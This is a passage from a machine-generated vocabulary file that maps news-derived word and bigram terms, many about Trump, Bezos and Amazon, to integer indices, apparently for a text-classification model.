libya\": 136209,\n  \"irresistible\": 136210,\n  \"1014189395883249665\": 136211,\n  \"competitive edge\": 136212,\n  \"nationwide think\": 136213,\n  \"nation finally\": 136214,\n  \"grapples\": 136215,\n  \"washington board\": 136216,\n  \"delivery isn\": 136217,\n  \"agricultural interests\": 136218,\n  \"trump discussed\": 136219,\n  \"shares yorktown\": 136220,\n  \"623\": 136221,\n  \"recent tax\": 136222,\n  \"icahn\": 136223,\n  \"trump attention\": 136224,\n  \"museums\": 136225,\n  \"funny logical\": 136226,\n  \"guys just\": 136227,\n  \"civilians\": 136228,\n  \"range including\": 136229,\n  \"quarter economic\": 136230,\n  \"walmart brick\": 136231,\n  \"reasons include\": 136232,\n  \"jersey thank\": 136233,\n  \"elon\": 136234,\n  \"scrub away\": 136235,\n  \"free 2018\": 136236,\n  \"day sales\": 136237,\n  \"2019 sorry\": 136238,\n  \"advisers holds\": 136239,\n  \"sandberg vice\": 136240,\n  \"occ armed\": 136241,\n  \"national tech\": 136242,\n  \"american left\": 136243,\n  \"expansions push\": 136244,\n  \"previously charged\": 136245,\n  \"marley michaelmc5117\": 136246,\n  \"admittedly different\": 136247,\n  \"nupro\": 136248,\n  \"don cut\": 136249,\n  \"greatest rivals\": 136250,\n  \"billionaires people\": 136251,\n  \"inched\": 136252,\n  \"censor messages\": 136253,\n  \"obama george\": 136254,\n  \"clamping\": 136255,\n  \"year pro\": 136256,\n  \"missil\": 136257,\n  \"revenue prime\": 136258,\n  \"amazon jpg\": 136259,\n  \"pruitt says\": 136260,\n  \"slashing obama\": 136261,\n  \"voice conscience\": 136262,\n  \"republican lawmakers\": 136263,\n  \"know item\": 136264,\n  \"animals ibm\": 136265,\n  \"latest deals\": 136266,\n  \"reynolds epa\": 136267,\n  \"bozogate\": 136268,\n  \"self described\": 136269,\n  \"resolution exposes\": 136270,\n  \"states experiences\": 136271,\n  \"bribe operations\": 136272,\n  \"weaker reading\": 136273,\n  \"allowing customers\": 136274,\n  \"bezos release\": 136275,\n  \"cmn\": 136276,\n  \"aisha sultan\": 136277,\n  \"wore clothes\": 136278,\n  \"matteo\": 136279,\n  \"state death\": 136280,\n  \"president saw\": 136281,\n  \"state sponsored\": 136282,\n  \"policies motley\": 136283,\n  \"president attacks\": 136284,\n  \"risky investments\": 136285,\n  \"help msn\": 136286,\n  \"york magazine\": 136287,\n  \"bon app\\u00e9tit\": 136288,\n  \"insider ism\": 136289,\n  \"cl\\u00f3vis\": 136290,\n  \"microsoft devices\": 136291,\n  \"whipped cream\": 136292,\n  \"upending\": 136293,\n  \"thrones final\": 136294,\n  \"americanallies\": 136295,\n  \"broader strategy\": 136296,\n  \"attacking\": 136297,\n  \"shooting occurred\": 136298,\n  \"ago alphonso\": 136299,\n  \"aka tropical\": 136300,\n  \"services groceries\": 136301,\n  \"ceo jpmorgan\": 136302,\n  \"republic oil\": 136303,\n  \"rate cultural\": 136304,\n  \"harvard law\": 136305,\n  \"trump realdonaldtrump\": 136306,\n  \"shirt dp\": 136307,\n  \"severe\": 136308,\n  \"king country\": 136309,\n  \"tennis diapers\": 136310,\n  \"gas industries\": 136311,\n  \"mind suggesting\": 136312,\n  \"ballot\": 136313,\n  \"western article37005968\": 136314,\n  \"yards bancshares\": 136315,\n  \"deserves excellent\": 136316,\n  \"hit session\": 136317,\n  \"proposed changing\": 136318,\n  \"letters intercepted\": 136319,\n  \"tsx ry\": 136320,\n  \"le carr\\u00e9\": 136321,\n  \"hine\": 136322,\n  \"sanders campaign\": 136323,\n  \"soon lose\": 136324,\n  \"levitan greed\": 136325,\n  \"poverty rate\": 136326,\n  \"employees ftes\": 136327,\n  \"technology training\": 136328,\n  \"brantley\": 136329,\n  \"trading involves\": 136330,\n  \"materialize\": 136331,\n  \"true detective\": 136332,\n  \"additional flights\": 136333,\n  \"guest columnist\": 136334,\n  \"copyright piracy\": 136335,\n  \"2018 sent\": 136336,\n  \"justice inspector\": 136337,\n  \"new risk\": 136338,\n  \"playing new\": 136339,\n  \"fair bit\": 136340,\n  \"drug runners\": 136341,\n  \"legislative recommendations\": 136342,\n  \"official televised\": 136343,\n  \"youtube business\": 136344,\n  \"exact moment\": 136345,\n  \"gop candidate\": 136346,\n  \"pentagon initiative\": 136347,\n  \"moving work\": 136348,\n  \"walmart ecommerce\": 136349,\n  \"evaluate acquiring\": 136350,\n  \"taxation opines\": 136351,\n  \"power regarding\": 136352,\n  \"sickening comment\": 136353,\n  \"monetization\": 136354,\n  \"wages remain\": 136355,\n  \"book griffith\": 136356,\n  \"exploratory space\": 136357,\n  \"campaign cash\": 136358,\n  \"uncouth business\": 136359,\n  \"employees retirement\": 136360,\n  \"unreasonably good\": 136361,\n  \"direct result\": 136362,\n  \"kwelkernbc\": 136363,\n  \"business videoid\": 136364,\n  \"gap governor\": 136365,\n  \"street amazon\": 136366,\n  \"incitement\": 136367,\n  \"federal taxation\": 136368,\n  \"savings constrained\": 136369,\n  \"youtube announced\": 136370,\n  \"specific locations\": 136371,\n  \"pentagon ahead\": 136372,\n  \"violating 2015\": 136373,\n  \"rep bob\": 136374,\n  \"hate bezos\": 136375,\n  \"socially attuned\": 136376,\n  \"big dealmaker\": 136377,\n  \"scrap moratorium\": 136378,\n  \"amazonclarity\": 136379,\n  \"featured image\": 136380,\n  \"black student\": 136381,\n  \"consumers homes\": 136382,\n  \"telecoms\": 136383,\n  \"ongoing struggle\": 136384,\n  \"lunch think\": 136385,\n  \"public enemy\": 136386,\n  \"severely criticized\": 136387,\n  \"markets respect\": 136388,\n  \"year rumors\": 136389,\n  \"presidency covered\": 136390,\n  \"gaining control\": 136391,\n  \"adp\": 136392,\n  \"fleet clark\": 136393,\n  \"fewest\": 136394,\n  \"spiritual specialists\": 136395,\n  \"slowly begins\": 136396,\n  \"missive\": 136397,\n  \"final weeks\": 136398,\n  \"equal partner\": 136399,\n  \"amazon broadcasting\": 136400,\n  \"say governor\": 136401,\n  \"high number\": 136402,\n  \"trustworthy amazon\": 136403,\n  \"uses verify\": 136404,\n  \"suspense\": 136405,\n  \"just collecting\": 136406,\n  \"additionally talked\": 136407,\n  \"trump topic\": 136408,\n  \"helps address\": 136409,\n  \"enormous sum\": 136410,\n  \"effect moniker\": 136411,\n  \"constant surveillance\": 136412,\n  \"invest given\": 136413,\n  \"trump longtime\": 136414,\n  \"sheer size\": 136415,\n  \"venerated\": 136416,\n  \"longstanding complaints\": 136417,\n  \"trump urged\": 136418,\n  \"outer\": 136419,\n  \"knows greene\": 136420,\n  \"agric\": 136421,\n  \"usps transaction\": 136422,\n  \"influence did\": 136423,\n  \"chinese naval\": 136424,\n  \"danbury connecticut\": 136425,\n  \"delta\": 136426,\n  \"investors rich\": 136427,\n  \"kentucky milk\": 136428,\n  \"mtp remembering\": 136429,\n  \"feedback\": 136430,\n  \"including alexa\": 136431,\n  \"chicago violent\": 136432,\n  \"eu privacy\": 136433,\n  \"project called\": 136434,\n  \"quite aptly\": 136435,\n  \"described supporter\": 136436,\n  \"350 million\": 136437,\n  \"refugees human\": 136438,\n  \"gps panel\": 136439,\n  \"blackmail divided\": 136440,\n  \"petitioned\": 136441,\n  \"washington welcome\": 136442,\n  \"larger corporations\": 136443,\n  \"attribute trump\": 136444,\n  \"pushing technology\": 136445,\n  \"husband luke\": 136446,\n  \"free pre\": 136447,\n  \"mojo list\": 136448,\n  \"plan senate\": 136449,\n  \"report describes\": 136450,\n  \"cramer feels\": 136451,\n  \"teeing\": 136452,\n  \"fiction donald\": 136453,\n  \"transition language\": 136454,\n  \"tv personality\": 136455,\n  \"florida violent\": 136456,\n  \"laundering funds\": 136457,\n  \"largest reef\": 136458,\n  \"deposited 250\": 136459,\n  \"expect trump\": 136460,\n  \"privatizers includes\": 136461,\n  \"high attendance\": 136462,\n  \"losing rear\": 136463,\n  \"trump achievements\": 136464,\n  \"cronyism bezos\": 136465,\n  \"school expenses\": 136466,\n  \"crash oscars\": 136467,\n  \"paychecks nyt\": 136468,\n  \"logo\": 136469,\n  \"americans avoid\": 136470,\n  \"publishes op\": 136471,\n  \"deficit soars\": 136472,\n  \"guess just\": 136473,\n  \"pen american\": 136474,\n  \"sur\": 136475,\n  \"thoughtfully laid\": 136476,\n  \"trump wisecracked\": 136477,\n  \"direct tax\": 136478,\n  \"bezos investments\": 136479,\n  \"cross posted\": 136480,\n  \"recently issued\": 136481,\n  \"benavides\": 136482,\n  \"education student\": 136483,\n  \"additional cost\": 136484,\n  \"beast trump\": 136485,\n  \"2678011 walmart\": 136486,\n  \"marc northern\": 136487,\n  \"sudden political\": 136488,\n  \"group euronext\": 136489,\n  \"technologies widely\": 136490,\n  \"bell investment\": 136491,\n  \"scenario\": 136492,\n  \"adopts\": 136493,\n  \"actual tweets\": 136494,\n  \"book platforms\": 136495,\n  \"movement afoot\": 136496,\n  \"including category\": 136497,\n  \"illegal immoral\": 136498,\n  \"story toss\": 136499,\n  \"mossad\": 136500,\n  \"800 975\": 136501,\n  \"trump nomination\": 136502,\n  \"predictable trappings\": 136503,\n  \"wrong policy\": 136504,\n  \"elementary students\": 136505,\n  \"prosperity\": 136506,\n  \"intimidate immigrant\": 136507,\n  \"america democracy\": 136508,\n  \"outside shippers\": 136509,\n  \"maxwell senior\": 136510,\n  \"things love\": 136511,\n  \"reports cases\": 136512,\n  \"foto sourcedaniel\": 136513,\n  \"lawyer threatened\": 136514,\n  \"royal duties\": 136515,\n  \"154 billion\": 136516,\n  \"john hancock\": 136517,\n  \"23rd assembly\": 136518,\n  \"trump tabloid\": 136519,\n  \"chaya\": 136520,\n  \"says china\": 136521,\n  \"holt 56m\": 136522,\n  \"untireless effort\": 136523,\n  \"settings\": 136524,\n  \"forbes story\": 136525,\n  \"cryptic\": 136526,\n  \"skew politically\": 136527,\n  \"having committed\": 136528,\n  \"dogs\": 136529,\n  \"fictional podcast\": 136530,\n  \"false attacks\": 136531,\n  \"airports including\": 136532,\n  \"wisconsin deal\": 136533,\n  \"story aclu\": 136534,\n  \"researching\": 136535,\n  \"representative elect\": 136536,\n  \"abuse atlantic\": 136537,\n  \"cohen did\": 136538,\n  \"residents support\": 136539,\n  \"jen\": 136540,\n  \"billion sits\": 136541,\n  \"photos mansion\": 136542,\n  \"released later\": 136543,\n  \"president insistence\": 136544,\n  \"snuffs\": 136545,\n  \"lot easier\": 136546,\n  \"issues\": 136547,\n  \"data transfer\": 136548,\n  \"lavish michael\": 136549,\n  \"left key\": 136550,\n  \"massive market\": 136551,\n  \"examined according\": 136552,\n  \"safari\": 136553,\n  \"threat bolsonaro\": 136554,\n  \"political leverage\": 136555,\n  \"build yes\": 136556,\n  \"time saudis\": 136557,\n  \"amazon following\": 136558,\n  \"mean lot\": 136559,\n  \"blasts iran\": 136560,\n  \"employees fall\": 136561,\n  \"jenniferjjacobs\": 136562,\n  \"public domain\": 136563,\n  \"chryslers stocks\": 136564,\n  \"comments texas\": 136565,\n  \"thefts\": 136566,\n  \"house gifts\": 136567,\n  \"revelatory post\": 136568,\n  \"0515et copyright\": 136569,\n  \"villians\": 136570,\n  \"moguls\": 136571,\n  \"latrice walker\": 136572,\n  \"yvonne hemsey\": 136573,\n  \"writer iannucci\": 136574,\n  \"brennan pottsville\": 136575,\n  \"list president\": 136576,\n  \"sector weighed\": 136577,\n  \"highly politically\": 136578,\n  \"resonating new\": 136579,\n  \"senate investigators\": 136580,\n  \"abandonment\": 136581,\n  \"libertarian dream\": 136582,\n  \"straight hours\": 136583,\n  \"apparently national\": 136584,\n  \"exercise\": 136585,\n  \"primary communications\": 136586,\n  \"sentences newsletter\": 136587,\n  \"adapted excerpt\": 136588,\n  \"economic success\": 136589,\n  \"milks wisconsin\": 136590,\n  \"political pressures\": 136591,\n  \"antitrust policy\": 136592,\n  \"site crashed\": 136593,\n  \"news yield\": 136594,\n  \"waging battle\": 136595,\n  \"day win\": 136596,\n  \"cogdill\": 136597,\n  \"utility experts\": 136598,\n  \"watch closely\": 136599,\n  \"handsomely\": 136600,\n  \"wasteful\": 136601,\n  \"senators collins\": 136602,\n  \"avion\": 136603,\n  \"consumption\": 136604,\n  \"business stating\": 136605,\n  \"poor brick\": 136606,\n  \"running bending\": 136607,\n  \"750 000\": 136608,\n  \"hold powerful\": 136609,\n  \"library\": 136610,\n  \"service spreads\": 136611,\n  \"greg davies\": 136612,\n  \"ops\": 136613,\n  \"agencies nomiki\": 136614,\n  \"center\": 136615,\n  \"competitor contacted\": 136616,\n  \"lettuce\": 136617,\n  \"important emerging\": 136618,\n  \"unadorned\": 136619,\n  \"scale jen\": 136620,\n  \"especially kamala\": 136621,\n  \"help solve\": 136622,\n  \"tweeted support\": 136623,\n  \"subtle\": 136624,\n  \"bluefly foto\": 136625,\n  \"runs deep\": 136626,\n  \"commission assumed\": 136627,\n  \"growing amazon\": 136628,\n  \"usa member\": 136629,\n  \"follow looking\": 136630,\n  \"signed secrecy\": 136631,\n  \"photos sent\": 136632,\n  \"company deciding\": 136633,\n  \"morrow ny\": 136634,\n  \"sex scandals\": 136635,\n  \"today board\": 136636,\n  \"final approval\": 136637,\n  \"capsule new\": 136638,\n  \"infants including\": 136639,\n  \"americans challenge\": 136640,\n  \"main vehicle\": 136641,\n  \"cynical partners\": 136642,\n  \"drug paraphernalia\": 136643,\n  \"history donald\": 136644,\n  \"queens senate\": 136645,\n  \"words merrick\": 136646,\n  \"poirer\": 136647,\n  \"rogue\": 136648,\n  \"game list\": 136649,\n  \"assembled task\": 136650,\n  \"amazon navigate\": 136651,\n  \"cloud watchers\": 136652,\n  \"mentioned previously\": 136653,\n  \"logistics company\": 136654,\n  \"anchors\": 136655,\n  \"trustees\": 136656,\n  \"carousel jquery\": 136657,\n  \"prices nearly\": 136658,\n  \"house specifically\": 136659,\n  \"alan murray\": 136660,\n  \"bezos selling\": 136661,\n  \"canada chic\": 136662,\n  \"1040253796293795842 photo\": 136663,\n  \"composition notebook\": 136664,\n  \"borders\": 136665,\n  \"biggest win\": 136666,\n  \"bezos continues\": 136667,\n  \"jerrold\": 136668,\n  \"awoken\": 136669,\n  \"products tech\": 136670,\n  \"actually possible\": 136671,\n  \"ranked slightly\": 136672,\n  \"current form\": 136673,\n  \"near paris\": 136674,\n  \"rep jason\": 136675,\n  \"files new\": 136676,\n  \"reverberating\": 136677,\n  \"issues given\": 136678,\n  \"2017 south\": 136679,\n  \"personality lauren\": 136680,\n  \"famed activist\": 136681,\n  \"hud rule\": 136682,\n  \"taking closer\": 136683,\n  \"rep wrote\": 136684,\n  \"deal democratic\": 136685,\n  \"pluribus\": 136686,\n  \"produces funny\": 136687,\n  \"trump loyalty\": 136688,\n  \"blends whips\": 136689,\n  \"bashing amazon\": 136690,\n  \"lobbying apparatuses\": 136691,\n  \"want security\": 136692,\n  \"stereo\": 136693,\n  \"2000 later\": 136694,\n  \"service subcommittee\": 136695,\n  \"botched attempt\": 136696,\n  \"hollywood toughest\": 136697,\n  \"potential increases\": 136698,\n  \"pryoesshex brian\": 136699,\n  \"big developments\": 136700,\n  \"year owing\": 136701,\n  \"amazon haven\": 136702,\n  \"xcel\": 136703,\n  \"choi upcoming\": 136704,\n  \"capitalism lionel\": 136705,\n  \"link news\": 136706,\n  \"joe ricketts\": 136707,\n  \"wh reaction\": 136708,\n  \"harassment discrimination\": 136709,\n  \"elections coming\": 136710,\n  \"budgets xxxtentacion\": 136711,\n  \"stationed\": 136712,\n  \"largess\": 136713,\n  \"blood added\": 136714,\n  \"traveller\": 136715,\n  \"woo urges\": 136716,\n  \"washington big\": 136717,\n  \"sessions meeting\": 136718,\n  \"sprinting\": 136719,\n  \"votes tennessee\": 136720,\n  \"polarizing figure\": 136721,\n  \"watts\": 136722,\n  \"heat\": 136723,\n  \"tailors\": 136724,\n  \"quotations\": 136725,\n  \"akin gump\": 136726,\n  \"sanders schumer\": 136727,\n  \"follow markgongloff\": 136728,\n  \"xe\": 136729,\n  \"video games\": 136730,\n  \"stevenson treasure\": 136731,\n  \"eig org\": 136732,\n  \"recommend\": 136733,\n  \"media remarks\": 136734,\n  \"months alphabet\": 136735,\n  \"portfolio girard\": 136736,\n  \"magazine asked\": 136737,\n  \"deserves scrutiny\": 136738,\n  \"amazon fears\": 136739,\n  \"millions jackpot\": 136740,\n  \"department allowed\": 136741,\n  \"today times\": 136742,\n  \"shared obligation\": 136743,\n  \"away bezos\": 136744,\n  \"distant future\": 136745,\n  \"insurance industry\": 136746,\n  \"repainted\": 136747,\n  \"stock hit\": 136748,\n  \"trump shut\": 136749,\n  \"families lose\": 136750,\n  \"dhs database\": 136751,\n  \"gibbons\": 136752,\n  \"repeatedly criticizing\": 136753,\n  \"year monopoly\": 136754,\n  \"center look\": 136755,\n  \"electronics\": 136756,\n  \"administration discuss\": 136757,\n  \"sports medicine\": 136758,\n  \"drastically declined\": 136759,\n  \"reid secondo\": 136760,\n  \"mass asks\": 136761,\n  \"quietly hoovering\": 136762,\n  \"little house\": 136763,\n  \"creativity wonder\": 136764,\n  \"cruise ship\": 136765,\n  \"expanding licensed\": 136766,\n  \"michael described\": 136767,\n  \"obamacare fix\": 136768,\n  \"praising jarrett\": 136769,\n  \"earlier according\": 136770,\n  \"treasurer richard\": 136771,\n  \"wearing bald\": 136772,\n  \"differs\": 136773,\n  \"expenses mainly\": 136774,\n  \"employers steal\": 136775,\n  \"don abuse\": 136776,\n  \"hamas rains\": 136777,\n  \"posed smirking\": 136778,\n  \"pathology\": 136779,\n  \"hypothesis round\": 136780,\n  \"useful straw\": 136781,\n  \"queens issue\": 136782,\n  \"alcoholic versions\": 136783,\n  \"proxy firms\": 136784,\n  \"sarcastically offered\": 136785,\n  \"die\": 136786,\n  \"fleet operators\": 136787,\n  \"house assigned\": 136788,\n  \"delving\": 136789,\n  \"merciful\": 136790,\n  \"trade relationship\": 136791,\n  \"did herera\": 136792,\n  \"true inc_display_video_at_bottomflag\": 136793,\n  \"schiff poised\": 136794,\n  \"thing settled\": 136795,\n  \"netflix blackkklansman\": 136796,\n  \"trump pic\": 136797,\n  \"rape\": 136798,\n  \"r\\u00e9gime\": 136799,\n  \"software solution\": 136800,\n  \"adalynn sooter\": 136801,\n  \"businesses potus\": 136802,\n  \"companies leave\": 136803,\n  \"job training\": 136804,\n  \"weather kansas\": 136805,\n  \"happen sooner\": 136806,\n  \"thesenate maybe\": 136807,\n  \"firefighters\": 136808,\n  \"washington bureaucracy\": 136809,\n  \"embroidery\": 136810,\n  \"bad white\": 136811,\n  \"growing think\": 136812,\n  \"apathy won\": 136813,\n  \"myselfie\": 136814,\n  \"controversy surrounding\": 136815,\n  \"digital assistants\": 136816,\n  \"moves bitcoin\": 136817,\n  \"multiple online\": 136818,\n  \"nearly driver\": 136819,\n  \"john markey\": 136820,\n  \"multiyear highs\": 136821,\n  \"york politicians\": 136822,\n  \"support click\": 136823,\n  \"honestly say\": 136824,\n  \"best example\": 136825,\n  \"malik points\": 136826,\n  \"domestic market\": 136827,\n  \"moving closer\": 136828,\n  \"reilly\": 136829,\n  \"administration trade\": 136830,\n  \"2000 img_tags\": 136831,\n  \"hits florence\": 136832,\n  \"270 challenging\": 136833,\n  \"instance consumers\": 136834,\n  \"negotiators saying\": 136835,\n  \"news item\": 136836,\n  \"facebook hate\": 136837,\n  \"pact reached\": 136838,\n  \"don allude\": 136839,\n  \"exploration synonymous\": 136840,\n  \"price discount\": 136841,\n  \"americans available\": 136842,\n  \"rick newman\": 136843,\n  \"varney\": 136844,\n  \"democratic politician\": 136845,\n  \"isvideoreplayclicked\": 136846,\n  \"called michael\": 136847,\n  \"day pitch\": 136848,\n  \"intrigue investors\": 136849,\n  \"bipartisanship\": 136850,\n  \"prepared dossier\": 136851,\n  \"secret ingredients\": 136852,\n  \"ring oscars\": 136853,\n  \"remote indian\": 136854,\n  \"temporarily exceeded\": 136855,\n  \"read simon\": 136856,\n  \"amortizations\": 136857,\n  \"program independent\": 136858,\n  \"week blaming\": 136859,\n  \"nightmare memphis\": 136860,\n  \"install google\": 136861,\n  \"blue glinted\": 136862,\n  \"happy home\": 136863,\n  \"including disconnected\": 136864,\n  \"hill medical\": 136865,\n  \"loathing\": 136866,\n  \"companies given\": 136867,\n  \"american parent\": 136868,\n  \"libby\": 136869,\n  \"amazon wage\": 136870,\n  \"canceled acosta\": 136871,\n  \"added prestigious\": 136872,\n  \"partisan tensions\": 136873,\n  \"sellers pvt\": 136874,\n  \"breeze\": 136875,\n  \"violent crash\": 136876,\n  \"company financial\": 136877,\n  \"trump practically\": 136878,\n  \"network yes\": 136879,\n  \"80s village\": 136880,\n  \"predictive analytics\": 136881,\n  \"2018 trump\": 136882,\n  \"habits kill\": 136883,\n  \"company imdb\": 136884,\n  \"green egg\": 136885,\n  \"perceived opponent\": 136886,\n  \"blurb calling\": 136887,\n  \"artemis\": 136888,\n  \"revoking clearances\": 136889,\n  \"amazon davidson\": 136890,\n  \"bartiromo humans\": 136891,\n  \"deportation atlanta\": 136892,\n  \"1798\": 136893,\n  \"eric walsh\": 136894,\n  \"officials journalists\": 136895,\n  \"sensing lantern\": 136896,\n  \"known trump\": 136897,\n  \"russia continues\": 136898,\n  \"corrosive signal\": 136899,\n  \"host guest\": 136900,\n  \"minister tereza\": 136901,\n  \"frequently calls\": 136902,\n  \"enables mobile\": 136903,\n  \"council producer\": 136904,\n  \"chief privacy\": 136905,\n  \"weren taxed\": 136906,\n  \"partially reinvented\": 136907,\n  \"chairman chuck\": 136908,\n  \"sciences 1q\": 136909,\n  \"published weekdays\": 136910,\n  \"writers\": 136911,\n  \"000 deduction\": 136912,\n  \"anonymous told\": 136913,\n  \"post fang\": 136914,\n  \"goodlatte va\": 136915,\n  \"thanks greer\": 136916,\n  \"1995 2005\": 136917,\n  \"announcing new\": 136918,\n  \"1n7u5sb california\": 136919,\n  \"white rabbits\": 136920,\n  \"collection public\": 136921,\n  \"trump doubles\": 136922,\n  \"sfly\": 136923,\n  \"strongly hinting\": 136924,\n  \"barclays forecast\": 136925,\n  \"bachelor star\": 136926,\n  \"industry biggest\": 136927,\n  \"acosta\": 136928,\n  \"committee president\": 136929,\n  \"revenue dear\": 136930,\n  \"sued passenger\": 136931,\n  \"somebody close\": 136932,\n  \"jim acostas\": 136933,\n  \"apparel maker\": 136934,\n  \"loading driving\": 136935,\n  \"told johnson\": 136936,\n  \"invitation\": 136937,\n  \"life 2018\": 136938,\n  \"just miles\": 136939,\n  \"reality gloves\": 136940,\n  \"cape\": 136941,\n  \"hold rating\": 136942,\n  \"adweek amazon\": 136943,\n  \"common elements\": 136944,\n  \"infidelity murky\": 136945,\n  \"health programs\": 136946,\n  \"investigation 2018\": 136947,\n  \"shape lucrative\": 136948,\n  \"nba finals\": 136949,\n  \"site vaxxed\": 136950,\n  \"unflattering items\": 136951,\n  \"right price\": 136952,\n  \"resolving vexing\": 136953,\n  \"pret\": 136954,\n  \"sign production\": 136955,\n  \"usps rates\": 136956,\n  \"bizarre billionaire\": 136957,\n  \"trump biographer\": 136958,\n  \"fil applebee\": 136959,\n  \"composer\": 136960,\n  \"consumers collateral\": 136961,\n  \"furnishings\": 136962,\n  \"suspect new\": 136963,\n  \"views president\": 136964,\n  \"industry observers\": 136965,\n  \"rourke described\": 136966,\n  \"advertising based\": 136967,\n  \"telephone interview\": 136968,\n  \"ko\": 136969,\n  \"time melina\": 136970,\n  \"app boeing\": 136971,\n  \"crisis doesnt\": 136972,\n  \"free express\": 136973,\n  \"interesting morsels\": 136974,\n  \"gives agencies\": 136975,\n  \"jurisdiction simons\": 136976,\n  \"ultimately fascinating\": 136977,\n  \"taxes tweet\": 136978,\n  \"divorce proceedings\": 136979,\n  \"piggybacking\": 136980,\n  \"rivals depend\": 136981,\n  \"change nbc\": 136982,\n  \"pledged us2\": 136983,\n  \"collapse amazon\": 136984,\n  \"financial illiteracy\": 136985,\n  \"hq2 bid\": 136986,\n  \"gary shteyngart\": 136987,\n  \"mystate\": 136988,\n  \"emailed statement\": 136989,\n  \"reposition\": 136990,\n  \"fetal\": 136991,\n  \"west managed\": 136992,\n  \"rain coat\": 136993,\n  \"cat litter\": 136994,\n  \"yeah yeah\": 136995,\n  \"000 worth\": 136996,\n  \"new embassies\": 136997,\n  \"discrepancies\": 136998,\n  \"convince long\": 136999,\n  \"loves football\": 137000,\n  \"know hacks\": 137001,\n  \"dw\": 137002,\n  \"bob van\": 137003,\n  \"sincero\": 137004,\n  \"general democratic\": 137005,\n  \"slams social\": 137006,\n  \"twitter declined\": 137007,\n  \"especially beef\": 137008,\n  \"nvidia staggering\": 137009,\n  \"thieves foiled\": 137010,\n  \"suppress allegations\": 137011,\n  \"bartlett declined\": 137012,\n  \"action continue\": 137013,\n  \"mention rising\": 137014,\n  \"stories google\": 137015,\n  \"temporary coupled\": 137016,\n  \"select headlines\": 137017,\n  \"globally pretending\": 137018,\n  \"dissolve community\": 137019,\n  \"areas related\": 137020,\n  \"firms invest\": 137021,\n  \"thai\": 137022,\n  \"just new\": 137023,\n  \"agent named\": 137024,\n  \"wework staff\": 137025,\n  \"dromm according\": 137026,\n  \"trust portfolio\": 137027,\n  \"patent trolling\": 137028,\n  \"pose existential\": 137029,\n  \"eccentric hippy\": 137030,\n  \"jennifer pignolet\": 137031,\n  \"centers worldwide\": 137032,\n  \"cnn media\": 137033,\n  \"l8 b8\": 137034,\n  \"local causes\": 137035,\n  \"things bezos\": 137036,\n  \"filters\": 137037,\n  \"amazon charged\": 137038,\n  \"r8\": 137039,\n  \"notes trump\": 137040,\n  \"quote unquote\": 137041,\n  \"technology needs\": 137042,\n  \"traditional grant\": 137043,\n  \"shoppers additionally\": 137044,\n  \"reporting net\": 137045,\n  \"wholesale fish\": 137046,\n  \"big deal\": 137047,\n  \"fbi doj\": 137048,\n  \"reduce congestion\": 137049,\n  \"aggregation\": 137050,\n  \"raises despite\": 137051,\n  \"sam kass\": 137052,\n  \"refurbished apple\": 137053,\n  \"overreach amazon\": 137054,\n  \"tine avalon\": 137055,\n  \"huge personal\": 137056,\n  \"team increasingly\": 137057,\n  \"americans wages\": 137058,\n  \"net\": 137059,\n  \"single woman\": 137060,\n  \"did attempt\": 137061,\n  \"follow marketwatch\": 137062,\n  \"elevated percentile\": 137063,\n  \"summer sen\": 137064,\n  \"apple day\": 137065,\n  \"antagonize liberals\": 137066,\n  \"vulnerabilities\": 137067,\n  \"house speaker\": 137068,\n  \"power cables\": 137069,\n  \"magas\": 137070,\n  \"vu\": 137071,\n  \"tech genius\": 137072,\n  \"occ announced\": 137073,\n  \"students skip\": 137074,\n  \"ceo reveals\": 137075,\n  \"database\": 137076,\n  \"portable equally\": 137077,\n  \"ami employees\": 137078,\n  \"amazon 10bn\": 137079,\n  \"promote freedom\": 137080,\n  \"karapatan surigao\": 137081,\n  \"crime published\": 137082,\n  \"kind undocublack\": 137083,\n  \"hugh hewitt\": 137084,\n  \"jeff dunham\": 137085,\n  \"login nonetheless\": 137086,\n  \"renewals\": 137087,\n  \"splitting facebook\": 137088,\n  \"agencies chair\": 137089,\n  \"time building\": 137090,\n  \"align stock\": 137091,\n  \"trump reading\": 137092,\n  \"rangers\": 137093,\n  \"isn dirt\": 137094,\n  \"ultramillionaires tax\": 137095,\n  \"recent letter\": 137096,\n  \"service cost\": 137097,\n  \"pair massive\": 137098,\n  \"trumpian tyranny\": 137099,\n  \"inflation data\": 137100,\n  \"seek refuge\": 137101,\n  \"trump voice\": 137102,\n  \"andre dre\": 137103,\n  \"used tear\": 137104,\n  \"related unexpected\": 137105,\n  \"2018 net\": 137106,\n  \"tax dodgers\": 137107,\n  \"union officials\": 137108,\n  \"amazon worldwide\": 137109,\n  \"votetuesday usmidterms\": 137110,\n  \"report calls\": 137111,\n  \"letter included\": 137112,\n  \"tom giles\": 137113,\n  \"corporation proposal\": 137114,\n  \"occasions final\": 137115,\n  \"resolutely carrying\": 137116,\n  \"hyphen differentiates\": 137117,\n  \"maximale\": 137118,\n  \"miami joe\": 137119,\n  \"reuters reports\": 137120,\n  \"bangkok\": 137121,\n  \"red holographic\": 137122,\n  \"illegally traffic\": 137123,\n  \"canadian private\": 137124,\n  \"giant split\": 137125,\n  \"help appease\": 137126,\n  \"post writers\": 137127,\n  \"rentseeking\": 137128,\n  \"single review\": 137129,\n  \"ultra rich\": 137130,\n  \"outlet sign\": 137131,\n  \"controversial paulo\": 137132,\n  \"temper tantrums\": 137133,\n  \"calling bipartisanship\": 137134,\n  \"new international\": 137135,\n  \"album wanderer\": 137136,\n  \"fairness\": 137137,\n  \"andreessen\": 137138,\n  \"market 2018\": 137139,\n  \"j5nvfsumpt\": 137140,\n  \"created hollywood\": 137141,\n  \"handle trump\": 137142,\n  \"warned\": 137143,\n  \"novel super\": 137144,\n  \"gotten taste\": 137145,\n  \"executive speak\": 137146,\n  \"censoring conservative\": 137147,\n  \"huge runs\": 137148,\n  \"standard political\": 137149,\n  \"pies\": 137150,\n  \"vicious cycle\": 137151,\n  \"pseudo populist\": 137152,\n  \"jobs firstborn\": 137153,\n  \"doing stupid\": 137154,\n  \"scott sonner\": 137155,\n  \"political elections\": 137156,\n  \"seemingly clear\": 137157,\n  \"content created\": 137158,\n  \"statements months\": 137159,\n  \"gop cultural\": 137160,\n  \"answer posted\": 137161,\n  \"wesfarmers annual\": 137162,\n  \"kit alexa\": 137163,\n  \"enforce punishment\": 137164,\n  \"monopoly reference\": 137165,\n  \"accusing france\": 137166,\n  \"thicker\": 137167,\n  \"23rd\": 137168,\n  \"local logistics\": 137169,\n  \"chinese core\": 137170,\n  \"webster college\": 137171,\n  \"just shy\": 137172,\n  \"trump rose\": 137173,\n  \"activity bezos\": 137174,\n  \"opaque process\": 137175,\n  \"amazons platform\": 137176,\n  \"divorce sanchez\": 137177,\n  \"allows\": 137178,\n  \"praise 